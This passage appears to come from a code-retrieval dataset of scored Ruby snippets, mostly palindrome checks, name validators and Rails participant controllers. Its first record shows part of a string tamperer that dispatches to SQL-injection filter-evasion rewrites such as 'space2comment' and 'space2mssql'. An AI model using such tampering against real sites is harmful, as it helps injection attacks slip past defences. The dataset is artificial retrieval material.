@string_tampererd = @string_tampererd.space2comment\n when 'space2mycomment'\n @string_tampererd = @string_tampererd.space2mycomment\n when 'space2dash'\n @string_tampererd = @string_tampererd.space2dash\n when 'space2dashline'\n @string_tampererd = @string_tampererd.space2dashline\n when 'space2hash'\n @string_tampererd = @string_tampererd.space2hash\n when 'space2hashline'\n @string_tampererd = @string_tampererd.space2hashline\n when 'space2mssql'\n @string_tampererd = @string_tampererd.space2mssql\n when 'space2mysql'\n @string_tampererd = @string_tampererd.space2mysql\n when 'space2rand'\n @string_tampererd = @string_tampererd.space2rand\n when 'space2oa'\n @string_tampererd = @string_tampererd.space2oa\n when 'space2o9'\n @string_tampererd = @string_tampererd.space2o9\n when 'space2ob'\n @string_tampererd = @string_tampererd.space2ob\n when 'space2oc'\n @string_tampererd = @string_tampererd.space2oc\n when 'space2od'\n @string_tampererd = @string_tampererd.space2od\n when 'space2plus'\n @string_tampererd = @string_tampererd.space2plus\n end\n end\n return @string_tampererd\n else\n return string\n end\n end", "title": "" }, { "docid": "38060ca97d2c3b3ed9f28b77abdc6eb6", "score": "0.6105452", "text": "def palindrome_check(my_phrase)\r\n if my_phrase.length > 0\r\n beg = 0\r\n fin = my_phrase.length - 1\r\n\r\n ((my_phrase.length) / 2).times do\r\n while my_phrase[beg] == \" \"\r\n beg += 1\r\n end\r\n while my_phrase[fin] == \" \"\r\n fin -= 1\r\n end\r\n if my_phrase[beg] != my_phrase[fin]\r\n return false\r\n end\r\n end\r\n end\r\n return true\r\nend", "title": "" }, { "docid": "8bd4eeedb0794d9b108b3ce8fb066c87", "score": "0.60818964", "text": "def space_or_letter(char)\r\n\t(char =~ /[A-Za-z]/ || char.to_s == \"\\u0000\")\r\nend", "title": "" }, { "docid": "bad688dd3c69539062a98ce861a42fec", "score": "0.6081493", "text": "def word_break(s, word_dict)\n return true if s.strip.empty?\n \n word_dict.each do |word|\n next if word.length > s.length\n next unless s.match?(word)\n new_str = s.gsub(word, ' ')\n return true if word_break(new_str, word_dict)\n end\n \n false\nend", "title": "" }, { "docid": "25c84b202ae36d3a9aec6513bd19de7d", "score": "0.60781586", "text": "def special_word?(str)\n if str[0] == 'c' && str.length % 2 == 0\n return false\n elsif str[0] == 'c' || str.length % 2 == 0\n return true\n end\n return false\nend", "title": "" }, { "docid": "b37b5b0cf2487a79b45cee9373631fc0", "score": "0.60597306", "text": "def danglers?\n !valid_word?(@str[@first_letter..@last_letter]) && @last_letter == @str.length && @words.join.length < @str.length\n end", "title": "" }, { "docid": "1dc844ba8fd6158a8b8d206184355738", "score": "0.6057379", "text": "def can_ignore_whitespace; true; end", "title": "" }, { "docid": "2171519e78f418b27feee55a696d7f17", "score": "0.60568225", "text": "def is_valid_string(str)\n # valid inputs:\n # anything other than ''\n \n # invalid inputs:\n # ''\n\n if (str.nil? || str.to_s.strip.length == 0)\n return false\n end\n \n return true\nend", "title": "" }, { "docid": "d7d1efa7b73acd937e835325a7db2179", "score": "0.60451657", "text": "def all_unique?(string)\n without_spaces = string.gsub(' ', '')\n i = 0\n while i < without_spaces.length\n i2 = i + 1\n while i2 < without_spaces.length\n return false if without_spaces[i] == without_spaces[i2]\n i2 += 1\n end\n i += 1\n end\n return true\nend", "title": "" }, { "docid": "1805c5de1b0b0385a4b81d2e05c7616e", "score": "0.604163", "text": "def taken?(input)\n !(position(input) == \" \" || position(input) == \"\")\n end", "title": "" }, { "docid": "92c91ec0e340a4900360ee388785f396", "score": "0.60389745", "text": "def space_before?; end", "title": "" }, { "docid": "92c91ec0e340a4900360ee388785f396", "score": "0.60389745", "text": "def space_before?; end", "title": "" }, { "docid": "313e6361c488ed69e042f47046bfb603", "score": "0.60360163", "text": "def taken?(input)\n !(position(input) == \" \" || position(input) == \"\" )\n end", "title": "" }, { "docid": "ac3f48c47b13f425aec0ea64e86fa275", "score": "0.6035258", "text": "def palindrome_check(my_phrase)\n return false if my_phrase == nil\n start_index = 0\n end_index = my_phrase.length - 1\n my_phrase.length.times do\n if my_phrase[start_index] == \" \"\n while my_phrase[start_index] == \" \"\n start_index += 1\n end\n elsif my_phrase[end_index] == \" \"\n while my_phrase[end_index] == \" \"\n end_index -= 1\n end\n elsif my_phrase[start_index] == my_phrase[end_index]\n start_index += 1\n end_index -= 1\n else\n return false\n end\n end\n return true\nend", "title": "" }, { "docid": "407f9d2c22d7f8b7a5c1b7fdd253fb72", "score": "0.60315645", "text": "def _Whitespace\n\n begin # choice\n _tmp = apply(:_Spacechar)\n break if _tmp\n _tmp = apply(:_Newline)\n end while false # end choice\n\n set_failed_rule :_Whitespace unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "9830ad3d4185c3f98d38f858e8cd4882", "score": "0.6026455", "text": "def is_valid_name(str)\n\ts = str.split(\" \")\n if s.length < 2\n return false\n end\n sUP = str.upcase.split(\" \")\n sDown = str.downcase.split(\" \")\n if s == sUP || s == sDown \n return false\n end\n s.each_with_index do |word, i|\n if word[0] != sUP[i][0] || word[1..-1] != sDown[i][1..-1]\n return false\n end\n end\n return true\nend", "title": "" }, { "docid": "ab7a44c9a3c4c24446cec87662858cbb", "score": "0.60235536", "text": "def is_valid_name(str)\n str = str.split(\" \")\n print str\nend", "title": "" }, { "docid": "9bcd8a629aabfb9082bc8d9fce05a969", "score": "0.6012206", "text": "def spacing(string_9)\n \"Elementary, my dear Watson!\".squeeze\nend", "title": "" }, { "docid": "21256740cae78cb4339868cdb33cb4ea", "score": "0.6010827", "text": "def test_paragraphs_are_spaced\n assert_match(/amount\\n\\n\\nof space/, @text)\n end", "title": "" }, { "docid": "6d338755bd7bf0438dc34954ece8e767", "score": "0.6003387", "text": "def is_valid_input?(word, lives)\n word.length > 0 && !/[^a-z]/.match(word) && Integer(lives) > 0\n end", "title": "" }, { "docid": "fc78b9bf400bb3b1bdbeb7aaca3837d7", "score": "0.6002015", "text": "def is_valid_name(str)\n return str.include?(\" \") && format_name(str) == str\nend", "title": "" }, { "docid": "d0aa97e25492c0da369b9dad82f9c790", "score": "0.59975857", "text": "def palindrome_check(my_phrase)\n return false if my_phrase.nil?\n first = 0\n last = my_phrase.length-1\n\n while first < last\n while my_phrase[first] == \" \" && first < last\n first += 1\n end\n while my_phrase[last] == \" \" && first < last\n last -= 1\n end\n return false if my_phrase[first] != my_phrase[last]\n first += 1\n last -= 1\n end\n return true\nend", "title": "" }, { "docid": "6eed295dc302518f4b28342df1fa5117", "score": "0.5991101", "text": "def count_spaces(string)\n string.count(' ')\nend", "title": "" }, { "docid": "e1b6d1515b5b0fe4e5ea7e572c7b69fa", "score": "0.59910923", "text": "def space_checker\n @mystery_word.each_with_index do |letter, index|\n if letter == \" \"\n @display_array[index] = \" \"\n end\n end\n end", "title": "" }, { "docid": "5b36abda567c6d344e0ba95e2dcf63af", "score": "0.5986071", "text": "def is_valid_name(str)\n if !str.include?(\" \")\n return false\n end\n\n new_str = str.split\n if new_str.count < 1\n return false\n end\n\n new_str.each do |name|\n return is_capitalized(name)\n end\n\n return false\nend", "title": "" }, { "docid": "2e70df6dd1adf57658151366fdd3c679", "score": "0.5982564", "text": "def is_valid_name(str)\n\tparts = str.split(\" \")\n \tif parts.length < 2\n \t return false\n \tend\n \n parts.each do |part|\n \tif !is_caps(part)\n \treturn false \n \t end\n end\n \n return true\nend", "title": "" }, { "docid": "c745451da5d1e43dfc10cbb42e55223c", "score": "0.5980016", "text": "def palindrome_check(my_phrase)\r\n start_index = 0\r\n end_index = my_phrase.length - 1\r\n\r\n while start_index < end_index\r\n while my_phrase[start_index] == \" \"\r\n start_index += 1\r\n end\r\n\r\n while my_phrase[end_index] == \" \"\r\n end_index -= 1\r\n end\r\n\r\n if my_phrase[start_index] == my_phrase[end_index]\r\n else\r\n return false\r\n end\r\n\r\n start_index += 1\r\n end_index -= 1\r\n end\r\n return true\r\nend", "title": "" }, { "docid": "51a77c98804b802a2c120815480a1479", "score": "0.59768873", "text": "def count_spaces(str)\n\tstr.count(' ')\nend", "title": "" }, { "docid": "326130577e8a73404c4548eda73bf59f", "score": "0.5967922", "text": "def count_spaces(str)\n str.count(\" \")\nend", "title": "" }, { "docid": "bc41c7fa2141511aa8a3e66e4cdb5409", "score": "0.596768", "text": "def count_spaces string\n string.count(\" \")\nend", "title": "" }, { "docid": "e935824da126c150e95c00a237b95708", "score": "0.5965417", "text": "def taken?(input)\n position(input) != \" \"\n end", "title": "" }, { "docid": "4613a6b77740b566e9c13d576a5cbea1", "score": "0.5963068", "text": "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "4613a6b77740b566e9c13d576a5cbea1", "score": "0.5963068", "text": "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "4613a6b77740b566e9c13d576a5cbea1", "score": "0.5963068", "text": "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "title": "" }, { "docid": "d973267484eedf88a30407eaa49f2fc9", "score": "0.59620297", "text": "def count_spaces(string)\n string.count(\" \")\nend", "title": "" }, { "docid": "92c58b8fc6815d7b334c1b9e57e2e03b", "score": "0.5958467", "text": "def is_valid_name(str)\n parts = str.split(\" \")\n \n # check 1\n if parts.length < 2\n return false\n end \n\n # check 2\n if parts.length >= 2\n return true\n end\n\nend", "title": "" }, { "docid": "e99925956992e22cd9e3407193053e59", "score": "0.59507716", "text": "def palindrome_check(my_phrase)\n if my_phrase.nil?\n return false\n elsif\n my_phrase == \"\" || my_phrase.length == 1\n return true\n else\n index_s = 0\n index_e = (my_phrase.length - 1)\n unless index_e <= index_s\n (my_phrase.length/2).times do\n while my_phrase[index_s] == \" \" && index_s < index_e - 1\n index_s += 1\n end\n while my_phrase[index_e] == \" \" && index_e > index_s + 1\n index_e -= 1\n end\n if my_phrase[index_e] != my_phrase[index_s]\n return false\n else\n if index_s >= index_e - 1\n return true\n else\n index_s += 1\n index_e -= 1\n end\n end\n end\n end\n return true\n end\nend", "title": "" }, { "docid": "cef87e8f1770c0676a2d40067231ab81", "score": "0.59456986", "text": "def whitespace?(tok = @tok)\n if tok\n @scanner.string[0...tok.pos] =~ /\\s\\Z/\n else\n @scanner.string[@scanner.pos, 1] =~ /^\\s/ ||\n @scanner.string[@scanner.pos - 1, 1] =~ /\\s\\Z/\n end\n end", "title": "" }, { "docid": "cef87e8f1770c0676a2d40067231ab81", "score": "0.59456986", "text": "def whitespace?(tok = @tok)\n if tok\n @scanner.string[0...tok.pos] =~ /\\s\\Z/\n else\n @scanner.string[@scanner.pos, 1] =~ /^\\s/ ||\n @scanner.string[@scanner.pos - 1, 1] =~ /\\s\\Z/\n end\n end", "title": "" }, { "docid": "d111c3a6476fe47f50fbb8e90a4f9439", "score": "0.59445596", "text": "def validate_word(word)\n count = 0\n s = word.downcase\n s.each_char do |c|\n if count == 0\n count = s.count(c)\n elsif count != s.count(c)\n return false\n end\n end\n true\nend", "title": "" }, { "docid": "2c631302a02e665893532a959f13e7db", "score": "0.5943908", "text": "def is_valid_name(str)\n wordArray = str.split(' ')\n if wordArray.length == 1\n return false\n end\n\n wordArray.each_with_index do |word, wordIndex|\n formattedWord = ''\n formattedWord += word[0].upcase\n formattedWord += word[1..-1].downcase\n wordArray[wordIndex] = formattedWord\n end\n \n if wordArray.join(' ') == str \n return true\n end\n\n return false\nend", "title": "" }, { "docid": "c68fb7d43a9a1852a309f341122bc923", "score": "0.5942002", "text": "def is_valid_name(str)\n return str.include?(' ') && str === format_name(str)\nend", "title": "" }, { "docid": "644e59c7b02ff0087404dadeeb6b14a0", "score": "0.5935205", "text": "def try_Again(_word)\n\tif _word.strip.include?(' ') # check for space character\n puts \"Error, found bad character ' '.\"\n return true\n\telse\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "a9c0eba6ed759c71d22d16c6a672f5ee", "score": "0.59330714", "text": "def is_valid_word? word\n return false if word.empty? # Empty words are not valid words\n word.downcase! # ignore mixed casing\n return is_valid_phrase? word if word.include? \" \" # If it's a phrase, test it as a phrase\n length = word.length\n\n # The only valid single letter words are 'a' and 'i'\n return false if length == 1 and word != \"i\" and word != \"a\"\n\n # The word must contain at least one vowel\n return false if not has_vowel? word\n\n # Validate Character Position Analysis Scores\n return false if not passes_neighbor_tests? word\n\n # The word must conform to proper apostrophe usage rules\n return false if not uses_valid_apostrophes? word\n\n # Does the word follow proper suffix patterns?\n return false if not follows_proper_suffix_patterns? word\n\n # Does the word contain triple char patterns?\n return false if word.length > 5 and not passes_direct_patterns_test? word\n\n # The word is (probably) valid!\n true\n end", "title": "" }, { "docid": "b99693e737b1e2bb8a000f8cd247a974", "score": "0.5930491", "text": "def count_spaces(str)\n str.count(' ')\n end", "title": "" }, { "docid": "eda798e1b111ed3819c893379c977217", "score": "0.592906", "text": "def test_word_without_spaces\n 1000.times { assert !@tester.word.match(/\\s/) }\n end", "title": "" }, { "docid": "7289b435c237da85cd5ba21cf014ff3e", "score": "0.5922178", "text": "def all_unique_chars?(str)\n letters = str.split('').reject { |char| char == ' '}\n letters.uniq.length == letters.length\nend", "title": "" }, { "docid": "47767178f50ccd2cef27359efe9fc42c", "score": "0.59120196", "text": "def is_valid_name(str)\n newStr = str.split(' ')\n valid = []\n \n newStr.each do |element|\n \n valid << element[0].upcase + element[1..-1].downcase\n\n end\n \n print valid.join(' ')\n \n if newStr.length>1 && str === valid.join(' ')\n\n return true\n \n else\n \n return false\n end\nend", "title": "" }, { "docid": "08c7d2db5a5d9eb7960b0c558203a55f", "score": "0.5910869", "text": "def palindrome_check(my_phrase)\n if my_phrase == ''\n return true\n elsif my_phrase.nil?\n return false\n end\n\n i = 0\n j = 1\n while i < my_phrase.length\n if my_phrase[i] == ' '\n i += 1\n elsif my_phrase[-j] == ' '\n j += 1\n elsif my_phrase[i] == my_phrase[-j]\n j += 1\n i += 1\n else\n return false\n end\n end\n return true\nend", "title": "" }, { "docid": "90512ecb898fcb8936a446b21b91f1c4", "score": "0.5907181", "text": "def count_spaces (word)\n word.count ' '\nend", "title": "" }, { "docid": "90512ecb898fcb8936a446b21b91f1c4", "score": "0.5907181", "text": "def count_spaces (word)\n word.count ' '\nend", "title": "" }, { "docid": "9a3593973cd2cce9ef0cf06031d4bb5c", "score": "0.5907116", "text": "def palindrome_check(my_phrase)\n return false if !my_phrase\n j, i = 1, 0\n while i + j < my_phrase.length\n if my_phrase[i] == \" \"\n i += 1\n elsif my_phrase[-j] == \" \"\n j += 1\n elsif my_phrase[i] != my_phrase[-j]\n return false\n else\n i += 1\n j += 1\n end\n end\n return true\nend", "title": "" }, { "docid": "fe0b12ba6bcce144004a9f72950bd861", "score": "0.59040564", "text": "def palindrome_check(my_phrase)\n return false if my_phrase == nil\n start = 0\n last = my_phrase.length - 1\n\n while start < last\n until my_phrase[start] != \" \"\n start += 1\n end\n\n until my_phrase[last] != \" \"\n last -= 1\n end\n\n return false if my_phrase[start] != my_phrase[last]\n start += 1\n last -= 1\n end\n return true\nend", "title": "" }, { "docid": "bbcc54b0d1145ec8027894e4ab143aa0", "score": "0.590124", "text": "def is_valid_name(str)\n\tparts = str.split(\" \")\n \tif parts.length > 1 && (proper(str) == str)\n return true\n else\n return false\n end\n \t\nend", "title": "" }, { "docid": "1daea046df61812de7d7331c8eb49968", "score": "0.58982766", "text": "def is_it_a_snake(str)\n\t#your code here\n\tif str =~ /s{2}/i\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "81dee1a9228e1aebcbed4061e67b94dc", "score": "0.589145", "text": "def uses_spaces_in_titles_in_title_consistency_validation\n true\n end", "title": "" }, { "docid": "f7737df925d40acc7ee59a350fee0d99", "score": "0.58911043", "text": "def no_space(x)\n x.split(\" \").join\nend", "title": "" }, { "docid": "1c5df49f9f2a304ce5c3f1b1e2b3aaa8", "score": "0.58803564", "text": "def is_valid_name(str)\n str_arr=str.split(\" \")\n if str_arr.length>=2 && is_capitalized(str)==true\n return true\n else\n return false\n end\n\nend", "title": "" }, { "docid": "c7bd1785b9ae4df98678e78175f67c51", "score": "0.58778536", "text": "def palindrome_check(my_phrase)\n if my_phrase == \"\"\n return true\n elsif my_phrase == nil\n return false\n end\n\n i = 0\n j = my_phrase.length - 1\n\n while i < j\n while my_phrase[i] == \" \"\n i += 1\n end\n\n while my_phrase[j] == \" \"\n j -= 1\n end\n\n return false if my_phrase[i] != my_phrase[j]\n\n i += 1\n j -= 1\n end\n\n return true\nend", "title": "" }, { "docid": "ebcb7596ad3cdb55d17fe9da42d57ddb", "score": "0.58771265", "text": "def is_valid_name(str)\n \tarry = str.split(\" \")\n \tif arry.length >1\n \tarry.each do |word|\n if word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase\n \treturn true\n else\n return false\n end\n end\n\telse\n \treturn false\n\tend\nend", "title": "" }, { "docid": "66df9bd2f9e3bce6b0fdea5d6c2836f3", "score": "0.5872436", "text": "def normalise_space(s)\n if(in_pre)\n s.to_s.gsub(/^/, ' ')\n else\n s.to_s.gsub(/\\s+/x, ' ')\n end\n end", "title": "" } ]
08fcee01c49b6d55c331fd29955c1a6a
GET /participants GET /participants.json
[ { "docid": "7490a190dab62986c4e42baa05475adf", "score": "0.72528446", "text": "def index\n @participants = Participant.all\n end", "title": "" } ]
[ { "docid": "575eb0523143fe35bc849fc85955cfaa", "score": "0.73988354", "text": "def list\n @participants = Participant__c.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participants }\n end\n end", "title": "" }, { "docid": "bea83e76404dfdd11aca42b003fc51a3", "score": "0.7341291", "text": "def index\n @participants = Participant.paginate(:page => params[:participants_page]).per_page(50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participants }\n end\n end", "title": "" }, { "docid": "e8fe9d2f2569d31544edcb5e5c01fc85", "score": "0.73012197", "text": "def index\n @participants = Participant.find_all_by_meeting_id(@meeting.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participants }\n end\n end", "title": "" }, { "docid": "d5b40e541fee9cfe4cfd0babcbb1ac1b", "score": "0.71956646", "text": "def people\n if current_user.participant\n #participants = current_user.venue_network.participants.all.reject { |p| p.user.id == current_user.id }\n participants = Participant.all\n data = Jbuilder.encode do |json|\n json.array! participants do |p|\n json.name p.user.first_name\n json.image p.user.default_avatar.avatar.thumb.url\n json.gender p.user.gender\n json.age p.user.age\n json.id p.user.id\n json.layer_id p.user.layer_id\n end\n end\n\n render json: {\n list: JSON.parse(data)\n }\n else\n render error(\"Current user not in a Venue\")\n end\n end", "title": "" }, { "docid": "482bb812f9aec34f2a1d1cf5f80d7d08", "score": "0.70907956", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "482bb812f9aec34f2a1d1cf5f80d7d08", "score": "0.70907956", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "482bb812f9aec34f2a1d1cf5f80d7d08", "score": "0.70907956", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "482bb812f9aec34f2a1d1cf5f80d7d08", "score": "0.70907956", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "482bb812f9aec34f2a1d1cf5f80d7d08", "score": "0.70907956", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "482bb812f9aec34f2a1d1cf5f80d7d08", "score": "0.70907956", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "482bb812f9aec34f2a1d1cf5f80d7d08", "score": "0.70907956", "text": "def show\n @participant = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "7ccb1b2c39644bf7151c91088f28cd8d", "score": "0.70744455", "text": "def get_participants_by_id\n return filter_by_id(get_participants) \n end", "title": "" }, { "docid": "5866f7013d3337ac5908c70200b95249", "score": "0.70248985", "text": "def show\n @participant = Participant__c.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "47d8e564a910dc143c4c4d50cd12acba", "score": "0.70203686", "text": "def index\n render json: { participants: @course.participants.select(:id, :username, :avatar, :slug) }\n end", "title": "" }, { "docid": "1ead663ce747b72f4e8347c9a5a40d2a", "score": "0.6948869", "text": "def participants\n attributes['participants'] ||= []\n attributes['participants']\n end", "title": "" }, { "docid": "3670c2409ec9826abaeed717e46cbd29", "score": "0.6928171", "text": "def find_participants(discussion_id, params={}, headers=default_jwt_headers)\n @logger.info(\"Finding Participants in the #{discussion_id} Discussion\")\n get(\"#{@api_url}/discussions/#{discussion_id}/participants\", params, headers)\n end", "title": "" }, { "docid": "c102a829e46dc4b3bc993a150d42cae0", "score": "0.68591315", "text": "def index\n @participants = Meeting.find(params[:meeting_id]).participants\n end", "title": "" }, { "docid": "dcfe58a4d80b7ef10eab1afb7983a418", "score": "0.6845366", "text": "def participants\n\n get_participant_map.participants\n end", "title": "" }, { "docid": "3ba14b91da825d4a34d3dd8f8bc3304e", "score": "0.6839718", "text": "def show\n @participants = Participant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @participants }\n end\n end", "title": "" }, { "docid": "7679557992f0fe563d89a7a58f848d9c", "score": "0.6836686", "text": "def show\n @participant = Participant.find(params[:id])\n @memberships = @participant.memberships.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant }\n end\n end", "title": "" }, { "docid": "f1b98c80dfd330de6bb8d9c770be7e47", "score": "0.67604065", "text": "def participants(options = {})\n response = self.class.get(@api.participant_config[:url],\n :query => { :auth_token => @token }.merge(options),\n :headers => @api.headers)\n\n ErrorHandler.response_code_to_exception_for :room, room_id, response\n wrap_users(response)\n end", "title": "" }, { "docid": "5efff82320436f84bbc214d57a78c2ff", "score": "0.6718753", "text": "def participants=(value)\n @participants = value\n end", "title": "" }, { "docid": "345de01c8bf9d55886f29a535749b842", "score": "0.669148", "text": "def participants=(value)\n @participants = value\n end", "title": "" }, { "docid": "2f8710a341aad3cec66f587d307aeea5", "score": "0.665932", "text": "def participants\n return @participants\n end", "title": "" }, { "docid": "c795d8bcc5ea46e9e3663a4cdcbbd399", "score": "0.66592366", "text": "def show\n @participant = Participant__c.find(request[:participant_id])\n @participant_profile = ParticipantProfile__c.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant_profile }\n end\n end", "title": "" }, { "docid": "c690ed999ca9e91c7e0d276ae1a387a9", "score": "0.66530746", "text": "def index\n @participants = Participant\n if current_admin\n @participants = @participants.all\n elsif current_examinator\n @participants = @participants.for_examinator(current_examinator)\n else\n @participants = []\n end\n end", "title": "" }, { "docid": "f218bcbfc0d11af6a820a13affb775a8", "score": "0.6651078", "text": "def find\n participant = Participant.find(@oauth_token, params[:participant_id].strip)\n error! :not_found unless participant\n expose participant\n end", "title": "" }, { "docid": "4614e1aa96c092672afe2555c433d949", "score": "0.66205454", "text": "def participants\n return @participants\n end", "title": "" }, { "docid": "dd9f62e3084e7b2952df2553fada08e2", "score": "0.6586985", "text": "def get_webinar_participants(webinar_id:, page_size: 300)\n params = method(__method__).parameters.map(&:last).map { |p| [p, eval(p.to_s)] }.to_h\n parse(JSON.parse(connection.get(\"report/webinars/#{webinar_id}/participants\", params).body))\n end", "title": "" }, { "docid": "a228e9c01113184393513dd9a4090a95", "score": "0.658695", "text": "def test_get_participants_basic_success\n\n client = create_mock_client\n refute_nil client, \"Client object couldn't be created.\"\n\n stub_request(:get, mock_uri('GroupCalls', UUID, 'Participants'))\n .to_return(status: 200, body: { 'Success' => true,\n 'Message' => \"Operation succeeded\",\n 'ApiId' => API_ID,\n 'Participants' => [{ 'Id' => 15,\n 'Name' => 'somebody',\n 'Number' => PHONE_NUMBERS[0] },\n { 'Id' => 29,\n 'Name' => 'nobody',\n 'Number' => \"91XXXXXXYYYY\" }] }.to_json)\n\n status, participants = client.group_call.get_participants(UUID)\n refute_nil status, \"No status object returned.\"\n assert status.success, \"Status did not indicate success: \" + status.message\n refute_nil participants, \"No participant list returned.\"\n assert_equal 2, participants.length, \"Participant list length isn't correct.\"\n assert_equal 15, participants[0].id, \"Participant 1 ID doesn't match.\"\n assert_equal 'somebody', participants[0].name, \"Participant 1 name doesn't match.\"\n assert_equal PHONE_NUMBERS[0], participants[0].number, \"Participant 1 number doesn't match.\"\n assert_equal 29, participants[1].id, \"Participant 2 ID doesn't match.\"\n assert_equal 'nobody', participants[1].name, \"Participant 2 name doesn't match.\"\n assert_equal '91XXXXXXYYYY', participants[1].number, \"Participant 2 number doesn't match.\"\n\n end", "title": "" }, { "docid": "fe18c1e1be52af3747305aab1bc76cc7", "score": "0.6571787", "text": "def index\n render json: serializer_class.new(paginate(npq_participants), params: { cpd_lead_provider: current_user }).serializable_hash.to_json\n end", "title": "" }, { "docid": "17f8f104b364b40961dbf30341ee5b81", "score": "0.6530177", "text": "def participants #igger loudin\n participating_users.includes(:user).map(&:user)\n end", "title": "" }, { "docid": "ee08858cabf883661dcc3e1c68b0c342", "score": "0.6512128", "text": "def index\n @tipo_participantes = TipoParticipante.all\n render json: @tipo_participantes\n end", "title": "" }, { "docid": "7868a270136c9968ba86554ff47bae37", "score": "0.6511231", "text": "def index\n if @talk.user_ids.include?(current_user.id) || current_user.is_admin?\n @participants = @talk.workshop_participants.collect {|p| p.user }\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @participants }\n end\n else\n flash[:error] = \"Access Denied\"\n redirect_to new_user_path\n end\n end", "title": "" }, { "docid": "2e7299e27cee8164127d7bbc51c11e05", "score": "0.6511152", "text": "def index\n @event_participants = EventParticipant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @event_participants }\n end\n end", "title": "" }, { "docid": "3eac29ab147b4b0ffb2b0113cbe25eb4", "score": "0.65094674", "text": "def index\n @participantes = Participante.all\n end", "title": "" }, { "docid": "3eac29ab147b4b0ffb2b0113cbe25eb4", "score": "0.65094674", "text": "def index\n @participantes = Participante.all\n end", "title": "" }, { "docid": "b89eb681aae9db1216e9573bc83ebf81", "score": "0.6502862", "text": "def index\n @military_battle_participants = Military::BattleParticipant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_participants }\n end\n end", "title": "" }, { "docid": "cbcf7172926e93381331ca52e24cd666", "score": "0.6456155", "text": "def participants\n [user1_id, user2_id]\n end", "title": "" }, { "docid": "44e74b3111b25175bd95821d72757211", "score": "0.64559454", "text": "def show\n @projectparticipant = Projectparticipant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projectparticipant }\n end\n end", "title": "" }, { "docid": "ff93c4eb33467711e9778bdcd45b8652", "score": "0.6450548", "text": "def participants\n users.where(parent_id: parent_id || current_user_id).flat_map(&:participants)\n end", "title": "" }, { "docid": "009005cbaea6e5af67923402bc564468", "score": "0.6446808", "text": "def participants=(value)\n\t\t@participants = value\t\n\tend", "title": "" }, { "docid": "27f481f25eb57ef27dbac48f4696910c", "score": "0.6422765", "text": "def merge_request_participants(project, id)\n get(\"/projects/#{url_encode project}/merge_requests/#{id}/participants\")\n end", "title": "" }, { "docid": "d6264027429b48bfec20cb84374a50c3", "score": "0.6395837", "text": "def getParticipantes\r\n @rifa = Rifa.find(rifa_params)\r\n if @rifa.limit.nil?\r\n if ParticipanteRifa.all.empty?\r\n @participantes = Participante.all\r\n else\r\n @participantes = Participante.where('id not in (?)', ParticipanteRifa.all.map(&:participante_id) )\r\n end\r\n else\r\n if ParticipanteRifa.all.empty?\r\n @participantes = Participante.limit @rifa.limite\r\n else\r\n @participantes = Participante.where('id not in (?)', ParticipanteRifa.all.map(&:participante_id).limit(@rifa.limite))\r\n end\r\n end\r\n respond_to do |format|\r\n format.json { render json: { participantes: @participantes, rifa: @rifa } }\r\n end\r\n end", "title": "" }, { "docid": "228d3b240bb3fd923e7a07a7a506785b", "score": "0.6381288", "text": "def index\n render json: serializer_class.new(participant_declarations).serializable_hash.to_json\n end", "title": "" }, { "docid": "4b19428681473460c97cbda1f197bca3", "score": "0.6372638", "text": "def find_participant(discussion_id, username, params={}, headers=default_jwt_headers)\n @logger.info(\"Finding the #{username} Participant in the #{discussion_id} Discussion\")\n get(\"#{@api_url}/discussions/#{discussion_id}/participants/#{encode(username)}\", params, headers)\n end", "title": "" }, { "docid": "c3a15e124a3635aea6bba37844183595", "score": "0.6352965", "text": "def fetchParticipants\n participants = @conv.participants \n if participants.count >= 2 \n blacklist = [current_user] \n participants = participants - blacklist\n end\n return participants\n end", "title": "" }, { "docid": "77709feb31a9781b66e9ab3531a0968e", "score": "0.6352945", "text": "def create_conferences_list_participant(options = {})\r\n # Prepare query url.\r\n _query_builder = 